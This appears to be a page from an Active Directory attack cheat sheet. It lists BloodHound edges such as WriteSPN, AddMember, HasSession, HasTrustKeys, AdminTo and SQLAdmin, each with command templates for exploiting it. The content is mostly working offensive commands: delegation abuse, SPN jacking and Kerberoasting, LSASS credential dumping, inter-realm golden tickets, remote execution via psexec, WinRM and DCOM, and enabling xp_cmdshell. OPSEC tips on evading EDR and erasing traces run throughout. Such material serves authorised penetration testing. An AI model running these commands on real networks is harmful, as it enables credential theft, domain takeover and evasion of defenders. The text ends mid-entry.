🥇PowerView + Set-ADComputerPowerSploit
Set-ADComputer -Identity {TARGET_COMPUTER} -PrincipalsAllowedToDelegateToAccount ({CONTROLLED_COMPUTER} + '$') -Credential $cred
🥈SharpRBCD.exelatest
SharpRBCD.exe --Action write --Target {TARGET_COMPUTER} --SID {TARGET_SID}
TIPS & OPSEC
  • MachineAccountQuota: If 0, cannot create helper computer. Use existing controlled computer.
  • Pre-created computers: Reset password on pre-created computer if you don't control any.
  • Cleanup: Remove msDS-AllowedToAct after exploitation to reduce detection.
COMMON ERRORS & FIXES
MachineAccountQuota exceeded
Cause: Cannot create helper computer
Fix: Use existing computer or reset pre-created computer password.
Pre-created computer disabled
Cause: Computer account exists but is disabled
Fix: Enable with bloodyAD add uac -f ACCOUNTDISABLE (remove flag) or Enable-ADAccount.
CHAIN THIS ATTACK

WriteAccountRestrictions → RBCD → S4U → admin access

Common chains:

  • RBCD setup → getST.py → psexec.py → SYSTEM
  • RBCD setup → Rubeus s4u → DCSync
🔧 Any Object WriteSPN CRITICAL ⏱️ 2 min 🔊 High

WriteSPN - SPN Jacking

Add or remove Service Principal Names on user or computer accounts. Add fake SPN then Kerberoast it.

🥇bloodyAD add spn / remove spnv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add spn {TARGET_USER} 'MSSQLSvc/{DC_FQDN}:1433'
# Cleanup:
bloodyAD remove spn {TARGET_USER} 'MSSQLSvc/{DC_FQDN}:1433'
🥈SetSPN.py (Impacket)v0.12+
SetSPN.py -U '{DOMAIN}/{USERNAME}:{PASSWORD}' -S 'MSSQLSvc/{DC_FQDN}:1433' {TARGET_USER}
🥉targetedKerberoast.pyv1.0+
targetedKerberoast.py -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' --dc-ip {DC_IP} -v --request-user {TARGET_USER}
4️⃣GetUserSPNs.py (roast after)v0.12+
GetUserSPNs.py -dc-ip {DC_IP} -request -outputfile {TARGET_USER}.kirb {DOMAIN}/{USERNAME}:{PASSWORD}
🥇PowerView Set-DomainObjectPowerSploit
Set-DomainObject -Identity {TARGET_USER} -Set @{serviceprincipalname='MSSQLSvc/{DC_FQDN}:1433'} -Credential $cred
# Cleanup:
Set-DomainObject -Identity {TARGET_USER} -Remove @{serviceprincipalname='MSSQLSvc/{DC_FQDN}:1433'} -Credential $cred
🥈setspn.exe -ABuilt-in
setspn.exe -A MSSQLSvc/{DC_FQDN}:1433 {TARGET_USER}
🥉Rubeus kerberoastv2.0+
Rubeus.exe kerberoast /user:{TARGET_USER} /domain:{DOMAIN} /dc:{DC_IP} /format:hashcat /outfile:{TARGET_USER}.kirb
TIPS & OPSEC
  • Cleanup: Always remove added SPN after Kerberoasting to avoid detection.
  • Event 4742: Computer account SPN changes logged. User SPN changes less monitored.
  • TargetedKerberoast: Automates SPN addition + Kerberoasting + cleanup in one command.
  • OPSEC: Adding SPN to high-value accounts may trigger alerts. Use during business hours.
COMMON ERRORS & FIXES
attributeOrValueExists
Cause: SPN already exists
Fix: Kerberoast directly without adding. Use GetUserSPNs.py -request.
Insufficient access
Cause: WriteSPN right not actually held
Fix: Verify with bloodyAD get acl {TARGET_USER}. Try GenericWrite or WriteDacl instead.
CHAIN THIS ATTACK

WriteSPN → add fake SPN → Kerberoast → crack hash → login

Common chains:

  • Add SPN → GetUserSPNs.py → hashcat → lateral movement
  • targetedKerberoast.py → automated SPN jack + roast
💻 Computer AddAllowedToAct CRITICAL ⏱️ 2 min 🔊 High

AddAllowedToAct - RBCD Configuration

Same as WriteAccountRestrictions for RBCD setup. Write msDS-AllowedToActOnBehalfOfOtherIdentity to configure delegation.

🥇rbcd.py (Impacket)v0.12+
rbcd.py -delegate-from '{CONTROLLED_COMPUTER}$' -delegate-to '{TARGET_COMPUTER}$' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
🥈bloodyAD add rbcdv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add rbcd {TARGET_COMPUTER} {CONTROLLED_COMPUTER}
🥉SharpRBCD.exelatest
SharpRBCD.exe --Action write --Target {TARGET_COMPUTER} --SID {TARGET_SID}
🥇PowerView + Set-ADComputerPowerSploit
Set-ADComputer -Identity {TARGET_COMPUTER} -PrincipalsAllowedToDelegateToAccount ({CONTROLLED_COMPUTER} + '$') -Credential $cred
🥈SharpRBCD.exelatest
SharpRBCD.exe --Action write --Target {TARGET_COMPUTER} --SID {TARGET_SID}
TIPS & OPSEC
  • Cross-reference: See WriteAccountRestrictions for full RBCD chain details.
  • MachineAccountQuota: Check before creating helper computer.
  • Cleanup: Remove msDS-AllowedToAct after exploitation.
COMMON ERRORS & FIXES
MachineAccountQuota exceeded
Cause: Cannot create helper computer
Fix: Use existing controlled computer or pre-created account.
CHAIN THIS ATTACK

AddAllowedToAct → RBCD → S4U → admin access

Common chains:

  • RBCD → getST.py → psexec.py → SYSTEM
  • RBCD → Rubeus s4u → DCSync
👥 Group AddMember CRITICAL ⏱️ 2 min 🔊 High

AddMember - Group Membership

Add any user to the target group. Unlike AddSelf, can add arbitrary users.

🥇bloodyAD add groupMemberv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add groupMember {TARGET_GROUP} {TARGET_USER}
🥈nxc ldap --add-group-memberv1.0+
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --add-group-member {TARGET_GROUP} {TARGET_USER}
🥉net rpc group addmemSamba
net rpc group addmem '{TARGET_GROUP}' {TARGET_USER} -U {DOMAIN}/{USERNAME}%'{PASSWORD}' -S {DC_IP}
🥇PowerView Add-DomainGroupMemberPowerSploit
Add-DomainGroupMember -Identity {TARGET_GROUP} -Members {TARGET_USER} -Credential $cred
🥈ADModule Add-ADGroupMemberMicrosoft Signed
Add-ADGroupMember -Identity {TARGET_GROUP} -Members {TARGET_USER} -Credential $cred
🥉net.exeBuilt-in
net group '{TARGET_GROUP}' {TARGET_USER} /add /domain
TIPS & OPSEC
  • Event 4728/4732: Member added to security-enabled group. High visibility.
  • SDProp: Protected groups revert every 60 min. Plan accordingly.
  • Group scope: Universal groups are forest-wide. Domain local groups are domain-wide.
COMMON ERRORS & FIXES
Member already exists
Cause: User already in group
Fix: Verify with bloodyAD get membership {TARGET_USER}
Group scope violation
Cause: Cross-domain addition to non-universal group
Fix: Use universal group or same-domain user.
SDProp reverts change
Cause: Protected group
Fix: Modify AdminSDHolder or use indirect nested groups.
CHAIN THIS ATTACK

AddMember → privileged group → inherit rights → escalate

Common chains:

  • Add user to 'Domain Admins' → immediate domain admin
  • Add user to 'DNS Admins' → DLL injection → SYSTEM on DC
👥 Group AddSelf CRITICAL ⏱️ 2 min 🔊 High

AddSelf - Add Yourself to Group

Add your own account to the target group. Immediate privilege escalation if group is privileged.

🥇bloodyAD add groupMemberv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add groupMember {TARGET_GROUP} {USERNAME}
🥈nxc ldapv1.0+
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --add-group-member {TARGET_GROUP} {USERNAME}
🥇PowerView Add-DomainGroupMemberPowerSploit
Add-DomainGroupMember -Identity {TARGET_GROUP} -Members {USERNAME} -Credential $cred
🥈net.exeBuilt-in
net group '{TARGET_GROUP}' {USERNAME} /add /domain
TIPS & OPSEC
  • Same as AddMember: But only for yourself. Same event IDs logged.
  • OPSEC: Adding yourself to Domain Admins is extremely obvious. Use nested groups if possible.
  • Cleanup: Remove yourself after exploitation.
COMMON ERRORS & FIXES
Member already exists
Cause: You are already in the group
Fix: Verify membership and proceed with inherited rights.
CHAIN THIS ATTACK

AddSelf → privileged group → domain compromise

Common chains:

  • Add self to 'Account Operators' → GenericAll on users → ForceChangePassword
  • Add self to 'Backup Operators' → SeBackupPrivilege → SAM dump
🌍 Domain ClaimSpecialIdentity MEDIUM ⏱️ N/A 🔊 High

ClaimSpecialIdentity - Special Identity Abuse

Rare edge. Modify special identities like Authenticated Users. Requires custom DACL manipulation.

🥇bloodyADv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object '{TARGET}' ...
🥇PowerViewPowerSploit
Set-DomainObject -Identity {TARGET} -Set @{...} -Credential $cred
TIPS & OPSEC
  • Rare: Very uncommon in production environments.
  • Requires: Deep understanding of special identity SIDs and their impact.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

Modify special identity → broad access → escalation

Common chains:

  • Rarely encountered in practice

Property / Computer

Property / Computer attack paths and exploitation techniques.

🔧 Any Object HasSIDHistory HIGH ⏱️ 1 min 🔊 Low

HasSIDHistory - Inherited Privileges

User or group has a privileged SID in sIDHistory. Already effective if the SID is from a privileged group.

🥇bloodyAD get attributev2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get attribute {TARGET_USER} sIDHistory
🥈ldapsearchldap-utils
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -b '{DOMAIN_DN}' '(samAccountName={TARGET_USER})' sIDHistory
🥇PowerView Get-DomainUserPowerSploit
Get-DomainUser -Identity {TARGET_USER} -Properties sIDHistory -Credential $cred
🥈ADModule Get-ADUserMicrosoft Signed
Get-ADUser -Identity {TARGET_USER} -Properties sIDHistory -Credential $cred
TIPS & OPSEC
  • Verify: Check if sIDHistory contains a Domain Admins or Enterprise Admins SID.
  • Cross-domain: sIDHistory is often used in migrations. May grant cross-domain privileges.
  • Exploitation: If sIDHistory contains a privileged SID, the account ALREADY has those privileges.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

HasSIDHistory → verify privileged SID → use inherited rights → escalate

Common chains:

  • sIDHistory contains DA SID → account is effectively Domain Admin
🌍 Domain SpoofSIDHistory CRITICAL ⏱️ 2 min 🔊 High

SpoofSIDHistory - Cross-Forest SID Abuse

Requires weak SID filtering (quarantine = No). Add arbitrary SID to sIDHistory for cross-forest privilege escalation.

🥇mimikatz sid::addv2.2+
mimikatz.exe "sid::add /sam:{TARGET_USER} /new:S-1-5-21-...-512"
🥈DSInternals Set-ADSIDHistorylatest
Set-ADSIDHistory -Identity {TARGET_USER} -SID 'S-1-5-21-...-512'
🥉bloodyAD set objectv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET_USER} sIDHistory 'S-1-5-21-...-512'
🥇mimikatz sid::addv2.2+
sid::add /sam:{TARGET_USER} /new:S-1-5-21-...-512
🥈DSInternals Set-ADSIDHistorylatest
Set-ADSIDHistory -Identity {TARGET_USER} -SID 'S-1-5-21-...-512'
TIPS & OPSEC
  • Prerequisite: Weak SID filtering (quarantine = No). Verify with netdom trust {DOMAIN} /domain:{TRUSTED} /quarantine.
  • Event 4765: SIDHistory modification logged. VERY high noise.
  • Forest-wide: If intra-forest, any domain = Enterprise Admin automatically.
COMMON ERRORS & FIXES
Access denied
Cause: SID filtering enabled (quarantine = Yes)
Fix: Verify trust properties with netdom trust /quarantine. If Yes, this path is blocked.
Schema violation
Cause: sIDHistory format incorrect
Fix: Use proper SID format: S-1-5-21--.
CHAIN THIS ATTACK

SpoofSIDHistory → add DA SID → cross-forest domain admin

Common chains:

  • Add EA SID to user → Enterprise Admin across forest
  • Add DA SID from trusted domain → Domain Admin in target
👤 User HasSession CRITICAL ⏱️ 2 min 🔊 High

HasSession - Compromise Computer → Dump LSASS

User has an active session on a computer. Compromise the computer to dump LSASS and steal credentials.

🥇psexec.py → upload mimikatzv0.12+
psexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
🥈wmiexec.pyv0.12+
wmiexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
🥉nxc smb -M mimikatzv1.0+
nxc smb {TARGET_COMPUTER} -u {ADMIN} -p '{PASS}' -M mimikatz
4️⃣nxc smb --sam --lsav1.0+
nxc smb {TARGET_COMPUTER} -u {ADMIN} -p '{PASS}' --sam --lsa
5️⃣dplootlatest
dploot -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} -target {TARGET_COMPUTER} -m backupkey
6️⃣DonPAPI.pylatest
DonPAPI.py {DOMAIN}/{USERNAME}:'{PASSWORD}'@{TARGET_COMPUTER}
🥇mimikatz sekurlsa::logonpasswordsv2.2+
sekurlsa::logonpasswords
🥈SafetyKatz / SharpKatzlatest
SafetyKatz.exe "sekurlsa::logonpasswords"
🥉pypykatzlatest
pypykatz lsa minidump lsass.dmp
4️⃣LaZagne.exelatest
LaZagne.exe all
5️⃣DonPAPI.py (remote)latest
DonPAPI.py {DOMAIN}/{USERNAME}:'{PASSWORD}'@{TARGET_COMPUTER}
TIPS & OPSEC
  • EDR: EDR triggers on LSASS dump. Use procdump.exe + offline analysis if EDR present.
  • OPSEC: Remote LSASS dump is very noisy. Prefer local dump + exfiltration.
  • DPAPI: DonPAPI and dploot extract DPAPI secrets without touching LSASS directly.
  • Credential Guard: LSASS dump may return encrypted creds if Credential Guard is active.
COMMON ERRORS & FIXES
Access denied
Cause: Not admin on target computer
Fix: Escalate to local admin first or use alternative lateral movement path.
EDR blocks LSASS access
Cause: Endpoint protection detected mimikatz
Fix: Use procdump.exe -ma lsass.exe + offline pypykatz analysis.
CHAIN THIS ATTACK

HasSession → admin on computer → LSASS dump → credentials → escalate

Common chains:

  • psexec.py → mimikatz → Domain Admin creds
  • wmiexec.py → SharpKatz → pass-the-hash
  • DonPAPI → DPAPI secrets → browser creds → cloud access
🌍 Domain HasTrustKeys CRITICAL ⏱️ 2 min 🔊 High

HasTrustKeys - Trust Account Compromise

Compromise trust account NT hash. Can forge inter-realm TGTs for cross-domain access.

🥇ticketer.pyv0.12+
ticketer.py -nthash TRUST_HASH -domain-sid {SOURCE_SID} -domain {DOMAIN} -spn krbtgt/{PARENT_DOMAIN} golden_tist.kirbi
🥈raiseChild.pyv0.12+
raiseChild.py '{CHILD_DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP}
🥉impacket-getST inter-realmv0.12+
getST.py -spn cifs/{TARGET_COMPUTER}.{PARENT_DOMAIN} -impersonate Administrator -dc-ip {DC_IP} '{DOMAIN}/TRUST_ACCOUNT$' -hashes :TRUST_HASH
🥇mimikatz lsadump::trustv2.2+
lsadump::trust /patch
🥈Rubeus inter-realmv2.0+
Rubeus.exe golden /rc4:TRUST_HASH /user:Administrator /domain:{DOMAIN} /sid:{SOURCE_SID} /sids:{TARGET_SID} /service:krbtgt /target:{PARENT_DOMAIN} /ticket:golden.kirbi
TIPS & OPSEC
  • Trust account hash: Found in LSASS of domain controllers. DCSync or DC compromise required.
  • Child-to-parent: raiseChild.py automates full child-to-parent domain escalation.
  • Intra-forest: Any domain in forest = Enterprise Admin via shared krbtgt history.
COMMON ERRORS & FIXES
KRB_AP_ERR_BAD_INTEGRITY
Cause: Wrong trust account hash
Fix: Verify hash with secretsdump.py -just-dc-user TRUST_ACCOUNT$.
KDC_ERR_WRONG_REALM
Cause: Wrong target realm specified
Fix: Use parent domain DNS name, not NetBIOS.
CHAIN THIS ATTACK

HasTrustKeys → forge inter-realm TGT → Enterprise Admin

Common chains:

  • ticketer.py → inter-realm TGT → psexec.py to parent DC
  • raiseChild.py → full child-to-parent escalation

Group Edges

Group Edges attack paths and exploitation techniques.

🔧 Any Object MemberOf LOW ⏱️ 1 min 🔊 Low

MemberOf - Group Membership Analysis

User is member of group. Enumerate group memberships to find privilege escalation paths.

🥇bloodyAD get membershipv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get membership {TARGET_USER}
🥈ldapsearch memberOfldap-utils
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -b '{DOMAIN_DN}' '(member={TARGET_USER})' dn
🥇PowerView Get-DomainGroupMemberPowerSploit
Get-DomainGroupMember -Identity {TARGET_GROUP} -Credential $cred
🥈ADModule Get-ADGroupMemberMicrosoft Signed
Get-ADGroupMember -Identity {TARGET_GROUP} -Credential $cred
TIPS & OPSEC
  • Nested groups: BloodHound resolves nested group memberships. Manual tools may not.
  • Primary Group: Check primaryGroupID attribute. Default is 513 (Domain Users).
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

MemberOf → identify privileged groups → exploit group rights → escalate

Common chains:

  • MemberOf 'DNS Admins' → DLL injection → SYSTEM on DC
🔧 Any Object Contains LOW ⏱️ 1 min 🔊 Low

Contains - Container Enumeration

Object is contained within a container or OU. Recon edge for AD structure mapping.

🥇bloodyAD get childrenv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get children {OU_DN}
🥈ldapsearch -s oneldap-utils
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -s one -b '{OU_DN}'
🥇PowerView -SearchScope OneLevelPowerSploit
Get-DomainObject -SearchBase '{OU_DN}' -SearchScope OneLevel -Credential $cred
TIPS & OPSEC
  • Container vs OU: OUs can have GPOs linked. Containers cannot.
  • Deep enumeration: Use recursive search for full subtree enumeration.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

Contains → enumerate children → find abuse targets → escalate

Common chains:

  • Find privileged users in OU → targeted exploitation

Computer Edges

Computer Edges attack paths and exploitation techniques.

💻 Computer AdminTo CRITICAL ⏱️ 2 min 🔊 High

AdminTo - Local Administrator

You are a local administrator on the target computer. Full control over the system.

🥇psexec.pyv0.12+
psexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
🥈wmiexec.pyv0.12+
wmiexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
🥉smbexec.pyv0.12+
smbexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
4️⃣dcomexec.pyv0.12+
dcomexec.py -object MMC20 '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
5️⃣atexec.pyv0.12+
atexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER} 'whoami'
6️⃣evil-winrm-pylatest
evil-winrm-py -u {USERNAME} -p '{PASSWORD}' -i {TARGET_COMPUTER}
7️⃣evil-winrm (Ruby)legacy
evil-winrm -u {USERNAME} -p '{PASSWORD}' -i {TARGET_COMPUTER}
🔑psexec.py (Pass-the-Hash)v0.12+
psexec.py -hashes {NTLM_HASH} '{DOMAIN}/{USERNAME}'@{TARGET_COMPUTER}
🔑🔑psexec.py (Pass-the-Ticket)v0.12+
export KRB5CCNAME={TICKET_FILE}
psexec.py -k -no-pass '{DOMAIN}/{USERNAME}'@{TARGET_COMPUTER}
🥇Enter-PSSession (WinRM)Built-in
Enter-PSSession -ComputerName {TARGET_COMPUTER} -Credential $cred
🥈psexec.exeSysinternals
psexec.exe \\{TARGET_COMPUTER} -u {DOMAIN}\{USERNAME} -p '{PASSWORD}' cmd.exe
🥉wmic.exeBuilt-in
wmic /node:{TARGET_COMPUTER} /user:{DOMAIN}\{USERNAME} /password:'{PASSWORD}' process call create "cmd.exe /c whoami"
4️⃣winrs.exeBuilt-in
winrs.exe /r:{TARGET_COMPUTER} /u:{DOMAIN}\{USERNAME} /p:'{PASSWORD}' cmd.exe
TIPS & OPSEC
  • Prefer wmiexec.py: Semi-interactive, less noisy than psexec.py.
  • smbexec.py: No file drop on disk. Good for AV evasion.
  • dcomexec.py: Uses DCOM, bypasses many AV/EDR products.
  • evil-winrm-py: Best WinRM client. Supports SSL, Kerberos, PtH, and in-memory execution.
COMMON ERRORS & FIXES
STATUS_LOGON_FAILURE
Cause: Wrong credentials or account disabled
Fix: Verify credentials with nxc smb. Check account status.
STATUS_ACCESS_DENIED
Cause: Not actually local admin (UAC remote restrictions)
Fix: Use local account (non-built-in) or disable UAC remote restrictions (requires registry change).
RPC_S_SERVER_UNAVAILABLE
Cause: Service not running or firewall
Fix: Check if SMB (445) or WinRM (5985/5986) is open. Use alternative protocol.
CHAIN THIS ATTACK

AdminTo → SYSTEM shell → credential dump → domain compromise

Common chains:

  • psexec.py → mimikatz → krbtgt hash → Golden Ticket
  • wmiexec.py → Seatbelt / WinPEAS → privesc → SYSTEM
  • evil-winrm-py → in-memory SharpHound → BloodHound analysis
💻 Computer CanPSRemote CRITICAL ⏱️ 2 min 🔊 High

CanPSRemote - WinRM Access

Can connect via PowerShell Remoting / WinRM. Uses ports 5985 (HTTP) and 5986 (HTTPS).

🥇evil-winrm-pylatest
evil-winrm-py -u {USERNAME} -p '{PASSWORD}' -i {TARGET_COMPUTER}
🥈evil-winrm-py (Pass-the-Hash)latest
evil-winrm-py -H {NTLM_HASH} -i {TARGET_COMPUTER}
🥉evil-winrm-py (Kerberos)latest
evil-winrm-py -k --no-pass -u {USERNAME} -i {TARGET_COMPUTER}
4️⃣evil-winrm-py (SSL)latest
evil-winrm-py --ssl -u {USERNAME} -p '{PASSWORD}' -i {TARGET_COMPUTER}
5️⃣nxc winrm -Xv1.0+
nxc winrm {TARGET_COMPUTER} -u {USERNAME} -p '{PASSWORD}' -X whoami
6️⃣evil-winrm (Ruby legacy)legacy
evil-winrm -u {USERNAME} -p '{PASSWORD}' -i {TARGET_COMPUTER}
🥇Enter-PSSessionBuilt-in
Enter-PSSession -ComputerName {TARGET_COMPUTER} -Credential $cred
🥈Invoke-CommandBuilt-in
Invoke-Command -ComputerName {TARGET_COMPUTER} -ScriptBlock { whoami } -Credential $cred
🥉winrs.exeBuilt-in
winrs.exe /r:{TARGET_COMPUTER} /u:{DOMAIN}\{USERNAME} /p:'{PASSWORD}' cmd.exe
TIPS & OPSEC
  • Port 5985/5986: Verify WinRM is listening: nmap -p5985,5986 {TARGET_COMPUTER}.
  • evil-winrm-py: Preferred over Ruby evil-winrm. More features, better stability.
  • SSL: Use --ssl for encrypted WinRM (port 5986). Required in some hardened environments.
  • Kerberos: Use -k --no-pass with valid ticket for ticket-based auth.
COMMON ERRORS & FIXES
WSManFault
Cause: WinRM service not running or blocked
Fix: Verify port 5985/5986 is open. Check WinRM service status on target.
NegotiateError
Cause: Authentication protocol mismatch
Fix: Try -k for Kerberos or use explicit NTLM with --no-ssl.
SSLError
Cause: Certificate validation failed
Fix: Use --no-ssl-check or provide valid CA certificate.
CHAIN THIS ATTACK

CanPSRemote → WinRM shell → enumeration → privilege escalation

Common chains:

  • evil-winrm-py → Seatbelt → find privesc path → SYSTEM
  • Invoke-Command → run mimikatz remotely → credential dump
💻 Computer CanRDP CRITICAL ⏱️ 2 min 🔊 High

CanRDP - Remote Desktop

Can connect via RDP. Logon Type 10. High visibility but direct interactive access.

🥇xfreerdp3latest
xfreerdp3 /v:{TARGET_COMPUTER} /u:{USERNAME} /p:'{PASSWORD}' /cert:ignore /dynamic-resolution
🥈xfreerdp3 +clipboard +drivelatest
xfreerdp3 /v:{TARGET_COMPUTER} /u:{USERNAME} /p:'{PASSWORD}' /cert:ignore +clipboard +drive:shared,/tmp/share
🥉rdesktoplegacy
rdesktop -u {USERNAME} -p '{PASSWORD}' {TARGET_COMPUTER}
4️⃣remminalatest
remmina -c rdp://{USERNAME}@{TARGET_COMPUTER}
5️⃣nxc rdpv1.0+
nxc rdp {TARGET_COMPUTER} -u {USERNAME} -p '{PASSWORD}'
6️⃣nxc rdp screenshotv1.0+
nxc rdp {TARGET_COMPUTER} -u {USERNAME} -p '{PASSWORD}' --screenshot
🥇mstsc.exeBuilt-in
mstsc.exe /v:{TARGET_COMPUTER}
🥈Remote Desktop Connection ManagerMicrosoft
# Open RDCMan, add server, connect with credentials.
TIPS & OPSEC
  • Event 4624 (Logon Type 10): RDP logons are highly visible. Use during business hours.
  • Clipboard: xfreerdp3 +clipboard allows copy-paste between attacker and target.
  • Drive redirection: +drive:shared,/tmp/share mounts attacker folder on target.
  • OPSEC: RDP leaves strong forensic evidence. Prefer WinRM or WMI when possible.
COMMON ERRORS & FIXES
CredSSP encryption oracle remediation
Cause: CVE-2018-0886 patch blocks old RDP clients
Fix: Update client or use /sec:nla with xfreerdp3.
Authentication failure
Cause: NLA or restricted admin mode
Fix: Try /sec:tls or use Pass-the-Hash with restricted admin mode: xfreerdp3 /pth:HASH
CHAIN THIS ATTACK

CanRDP → interactive session → run mimikatz → credential dump

Common chains:

  • RDP → mimikatz → LSASS dump → pass-the-hash
  • RDP → run SharpHound → BloodHound data exfil
💻 Computer ExecuteDCOM CRITICAL ⏱️ 2 min 🔊 High

ExecuteDCOM - DCOM Execution

Execute code via DCOM. Bypasses many AV/EDR products that monitor SMB/WinRM.

🥇dcomexec.py (Impacket)v0.12+
dcomexec.py -object MMC20 '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
🥈dcomexec.py (alternative objects)v0.12+
dcomexec.py -object ShellBrowserWindow '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
🥇PowerShell [Activator]::CreateInstanceBuilt-in
$com = [Type]::GetTypeFromCLSID('49B2791A-B1AE-4C90-9B8E-E860BA07F889','{TARGET_COMPUTER}')
$obj = [Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute('cmd.exe','/c whoami','c:\\windows\\system32',$null,0)
🥈SharpCom.exelatest
SharpCom.exe /target:{TARGET_COMPUTER} /command:'whoami'
🥉Invoke-DCOM.ps1latest
Invoke-DCOM -ComputerName {TARGET_COMPUTER} -Method MMC20.Application.ShellExecute -Command cmd.exe -Argument '/c whoami'
TIPS & OPSEC
  • AV/EDR evasion: DCOM often bypasses SMB-based detection. Good alternative to psexec.
  • MMC20: Most common DCOM object for execution. May be blocked in hardened environments.
  • ShellBrowserWindow: Alternative DCOM object if MMC20 is blocked.
COMMON ERRORS & FIXES
Access denied
Cause: DCOM launch permissions restricted
Fix: Try alternative DCOM objects or use AdminTo path instead.
CHAIN THIS ATTACK

ExecuteDCOM → code execution → SYSTEM shell → credential dump

Common chains:

  • DCOM → mimikatz → pass-the-hash → lateral movement
💻 Computer SQLAdmin CRITICAL ⏱️ 2 min 🔊 High

SQLAdmin - MSSQL Compromise

Administrative access to MSSQL instance. Can enable xp_cmdshell for code execution.

🥇mssqlclient.py (Impacket)v0.12+
mssqlclient.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
🥈nxc mssql -M mssql_privv1.0+
nxc mssql {TARGET_COMPUTER} -u {USERNAME} -p '{PASSWORD}' -M mssql_priv
🥉sqshlegacy
sqsh -S {TARGET_COMPUTER} -U '{DOMAIN}\{USERNAME}' -P '{PASSWORD}'
4️⃣freetds tsqllegacy
tsql -S {TARGET_COMPUTER} -U '{DOMAIN}\{USERNAME}' -P '{PASSWORD}'
🥇Invoke-SqlCmdBuilt-in
Invoke-SqlCmd -ServerInstance '{TARGET_COMPUTER}' -Query "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;" -Credential $cred
🥈PowerUpSQLlatest
Import-Module PowerUpSQL
